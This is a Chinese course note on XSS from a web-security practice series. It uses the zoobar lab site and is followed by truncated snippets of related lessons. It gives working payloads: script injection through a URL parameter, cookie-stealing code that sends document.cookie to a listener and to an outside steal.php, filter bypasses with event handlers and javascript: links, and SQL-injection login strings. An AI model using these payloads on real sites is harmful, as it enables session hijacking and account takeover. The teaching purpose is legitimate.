Web信息安全实践_4.0 XSS_知乎1

XSS攻击即为(Cross Site Scripting), 中文为跨站脚本。

之所以它的名字不是CSS而是XSS,是为了区分CSS。

XSS攻击是发生在目标用户的浏览器上的,当渲染DOM树的过程中执行了不该执行的JS代码时,就发生了XSS攻击。跨站脚本的重点不是“跨站”,而是“脚本”

页面执行不该执行的JS

我们首先来看一下,页面执行不该执行的JS是什么意思。譬如我们来看这个代码:

// 假设有一个自动回答网站:在框内输入一个问题,这个问题是通过$_GET[‘q‘]获取的;网站后台接收用户输入,把用户输入展示在页面上。
Hello, your question is: <?php echo $_GET[‘q‘]; ?>
// 接下来攻击者可以设计这么一个URL
localhost/xss.php?q=<script>alert(1);</script>

大家想一想,这个URL点开一下,效果是什么?

再换一个URL呢?

http://localhost/xss.php?q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

因此,所谓执行不该执行的JS代码的意思就是:用户通过各种方法向网站中注入了一些JS代码,而网站没有对用户的JS代码做任何检查,就直接把它有显示在了网站的页面上。因此,导致了用户注入的JS代码的运行。

Cookie窃取

当时我们在讲JS的时候,提到过JS可以通过document.cookie访问当前网站的cookie。当然,这样的代码只能把用户的cookie弹出来,没什么用。我们首先再次看看cookie的作用,然后考虑下,怎么样利用XSS漏洞来偷cookie。

在zoobar这个网站中,相应的数据库表中有Token和Salt这两项。我们通过查看源代码,来理解一下这两项有什么作用。先看一下数据库。

在auth.php代码中,看一下这些项是如何生成的。

myzoo auth.php salt项

在addRegistration代码中,有这么两行:

$salt = substr(md5(rand()), 0, 4);
$hashedpassword = md5($password.$salt);

salt就是对随机数进行md5哈希,然后取前四位。注册的时候,用户提供了用户名和密码,但是这个密码不是明文直接存储在数据库中的,而是结合盐值做了哈希才保存的。请大家思考一下,盐值在这里有什么用?为什么不直接对密码做哈希?

myzoo auth.php token项

接下来看看token。在setCookie函数中,设置了token。

$token = md5($values["Password"].mt_rand());

每次登录的时候,会调用_setCookie函数,而每次登录token都会更新。token在生成cookie的使用

$arr = array($this->username, $token);
$cookieData = base64_encode(serialize($arr));

所以就是用户每次登录,生成的cookie值都会不同。以下是两次登录的查询结果。

设置cookie的作用

另外,设置了cookie有什么用呢?在_checkRemembered函数中有这样的代码:

$arr = unserialize(base64_decode($cookie));
list($username, $token) = $arr;
if(!$username or !$token) { return; }
$sql = "SELECT * FROM Person WHERE (Username = ‘$username‘) AND (Token = ‘$token‘)"; 

当服务器接收到浏览器交过来的cookie的时候,先分出来username和token,然后查数据库。如果查到了,就记录下来这是哪个用户。

来给大家演示一下,cookie到底有多有用。首先,我们从虚拟机中的网站中拷贝出来一份cookie。然后在外部host的浏览器中用一用。这个得安装一个浏览器插件,可以用来编辑cookie的。

我们从来没有在外部Host的浏览器中登录过zoobar网站。刚访问的时候,是登录页面。然后我们不输入任何的用户名和密码,只是设置一个cookie。然后直接在登录页面上点击刷新。

直接就登录进去了。所以大家可以体会到,只要有cookie,用户名和密码不知道也无所谓。所谓的界面是用来让正常的用户用。

之前CSRF攻击,可以看到,有了浏览器帮我们提交cookie,可以很容易完成攻击;在CSRF攻击被防御的情况下,攻击者可以直接针对cookie进行攻击,有了cookie,直接进行登录。

刚才我们已经看到了使用alert(document.cookie)可以弹出来用户的cookie。但是只弹出没有什么用处,需要做的是将用户的cookie拿走。只要JS能访问cookie,并且网站中存在着XSS漏洞,那么就可以将cookie发送给攻击者。

偷取cookie

在之前介绍CSS历史攻击的时候,我们用过一个echoserv的程序,可以用来显示请求的内容。这里,仍然可以使用这个程序。在URL栏中输入:

我们在终端就能够收到相应的消息:

那现在思路就很明确了,只要能够构造出攻击代码,把document.cookie发给监听端口就行。要发送,首先想到的可能就是<a>。譬如我们构造出这样的代码:

localhost/xss.php?q=<a href=‘http://localhost:2002?a=;<script>document.write(document.cookie);‘</script>>hello</a>;hi

可以分析一下,这个代码为啥不能成功。

但是这个不是问题,花点功夫就构造出来能发送cookie的代码。

localhost/xss.php?q=<script>document.write("<a href=‘http://localhost:2002?a=");document.write("hey");document.write ("‘>hello</a>");</script>hi

使用这个代码,我们可以在echoserv处收到cookie:

综上,首先,需要找到一个XSS漏洞;在这个例子中,xss.php就是漏洞。因为它接收了用户的输入,然后直接就把用户的输入写在了页面上,而用户的输入中可能有<script>代码,用户的代码就直接获得了执行。

另外就是要仔细构造攻击代码。

偷cookie的另一个比较经典的例子是使用<img>标签。因为<img>标签可以直接自动地去向目标URL发出请求,相比<a>,还不需要用户点击链接,攻击起来更加方便。这个代码留给大家自己写一写。

以上的XSS攻击直接写在URL中,也叫作反射型XSS

XSS攻击及防御

那接下来,我们要想一想,zoobar这个网站有没有什么地方可以发起XSS攻击?

用户可以操作的地方,主要的就是index.php页面中的profile。在这个页面中,可以输入很多内容。当其他用户查看用户的profile时,从数据库取出来用户的输入,然后显示在页面上。那我们输入攻击代码可以吗?

首先要说明,这个网站最近的防御还是有的。在users.php中,已经过滤了很多不少的危险标签。为了演示说明,我们首先把这些防御给关掉。

在关掉防御的条件下,把刚才构造出来的攻击代码直接拷贝到profile中,就可以形成一样的攻击效果。

譬如在Profile页面写上这样的代码,也可以把cookie发送出去;当然,steal.php要另外准备好,接收这个cookie。

<a id="id">click me</a>
<script>
    var aLink = document.getElementById("id");
    aLink.href="http://www.zoobar.com/steal.php?cookie="+document.cookie;
</script>

然后,我们加上一点防御。不能直接使用<script>标签。这个也是很容易做到的,PHP中有一个函数strip_tag,可以把一些标签给过滤了。

但是这点防御远远不够。在讲JS的时候我们讲过多种可以触发JS执行的方法。譬如:onmouseover等动作属性。试一下下面的代码。

<a href="whatever" onmouseover="alert(1)">hello<a>

基本来说,判断是否有XSS漏洞,就看能不能弹出来框就行了。所以,这些属性也得过滤掉

<a href="javascript:alert(1)">hello</a>

然后javascript:也得过滤掉

但是,即使这样,也可以通过编码的方式进行绕过

<a href=javascript:alert(1)>hello</a>




然后,只要发现了XSS漏洞,就可以发动攻击了。

另外就是,zoobar网站上专门留了一个XSS漏洞,可以好好看看源代码找一找。

现在做演示,我们可以把<script>标签放出来,请大家想一想,在这个网站上,使用XSS攻击还能够做到什么?

原文地址:https://www.cnblogs.com/tianjiazhen/p/12235856.html

时间: 2024-08-30 14:27:12

Web信息安全实践_4.0 XSS_知乎1的相关文章

Web信息安全实践_4.3 Ajax

Ajax的特性: 局部更新.仅仅更新数据. 不会页面跳转 不需要iframe 异步更新,在请求受阻,其他部分的代码可以继续执行. 接收回复并处理. Ajax的使用特点: 第一,生成XMLHTTPRequest对象: 第二,发出请求: 第三,处理请求返回的结果 <html> <head> <script type="text/javascript"> function loadXMLDoc(URL) { // 使用Ajax获取内容之后,在原始页面进行更

Web信息安全实践_4.1 XSS防御

XSS 存在的三个条件 网站应用程序必须接受用户的输入信息 用户的输入会被网站用来创建动态内容 用户的输入验证不充分 输入过滤,输出转义:检查用户输入含有攻击信息,尽可能过滤攻击信息:如果不能判断哪些是攻击信息,那么要使得显示的时候不能发送攻击 输入过滤 使用黑名单,从用户的输入中删除 <script> 缺点:很难保证完全:限制了用户展示代码 <scr<script>ipt> //若仅过滤一个script,其他不检查 some<<b>script>

Web信息安全实践_3.4 CSRF防御

错误的CSRF防御方法 (1)只接受 POST 请求 攻击者不能基于链接简单地攻击( IMG ),但是可以使用脚本创建隐藏的 POST 请求 (2)转账需要多步 e.g. 第一个请求转多少个coin,第二个请求转给谁 CSRF 攻击可以按顺序执行每个步骤 (3)检查 Referer Referer Referer报文头是网页请求头的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理. 用户正常转账:请求从

Web信息安全实践_6 SQL注入

www.myzoo.com 输入示例 Login a'# 用户a登录 a' or 1# a' or 1=1# a' and 1;# d' or 1# a' or '1  思考:为什么无密码可以登录?为什么最终登录的都是a? b' or 0;#  用户b登录 profile a', Coins=100 where Username='a' ;# User c' union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),bench

Web信息安全实践_2.5 JS语法基础

JavaScript历史 HTML页面缺乏交互性 造成带宽.时间和服务器资源的浪费 前端加入基本的检查:登录名.密码是否为空,两次密码输入是否一致... JavaScript代码嵌入在HTML中 <script> ... </script> 浏览器加载页面时执行代码,代码的动态输出和HTML的静态内容进行集成 可以在用户输入提交给远程服务器之前进行验证 JavaScript语法 1.动态数据集成 document.write:向文档流写入HTML表达式或JavaScript代码 &

Web信息安全实践_3.2 Cookie

HTTP 持久性 (1)HTTP 是一个无状态的协议:服务器不记录请求之间的关系 e.g. 购物,提交购物车.付钱两次请求之间,http协议不记录这两个请求之间的关系 (2HTTP 如何实现会话的持久性的呢? Cookie HTTP Cookie Cookie 的用途 (1)Cookie 用户浏览器访问网站时,在用户本地存储信息 服务器设置cookie的值,本地保存 (2)Authentication cookie 存储关于用户登录状况的信息 使用 Authentication Cookie 可

Web信息安全实践_2.6 JavaScript DOM_2.7 JavaScript 攻击

DOM (Document Object Model,文档对象模型) HTML DOM 定义了访问和操作 HTML 文档的标准方法 DOM 以树结构表达 HTML 文档 通过 HTML DOM,JavaScript 能够访问和改变 HTML 文档的所有元素 通过这个对象模型,JavaScript 获得创建动态 HTML 的所有力量: JavaScript 能改变页面中的所有 HTML 元素 JavaScript 能改变页面中的所有 HTML 属性 JavaScript 能改变页面中的所有 CSS

Web信息安全实践_1.3 HTTP

HHTP HTTPs:HTTP/ssl,安全的http Apache:HTTP服务器 SSL:安全的套接进程,应用层和tcp层中间,提供数据加密.身份认证 OpenSSL 浏览器/服务器交互 URL+HTML+HTTP→www URL(Uniform Resource Location,全局资源定位符) ∈ URI(Uniform Resource Identifiers) URL URL可定位到物理位置一台主机上一份文件的具体位置. e.g. HTTP请求 HTTP请求 方法:Get.Post

Web信息安全实践_1.7 OpenSSL

OpenSSL 用于实现SSL协议,能实现证书生成.证书签名.密钥生成.加解密等各种操作 命令行举例 openssl version openssl prime echo "encode me" |openssl | enc -base64 /*对字符串encode me进行base64编码*/ echo "ZW5jb2RIIG1lCg==" | openssl enc -base64 -d /*对经过base64进行编码的字符串进行解码*/ 自建HTTPS(使用O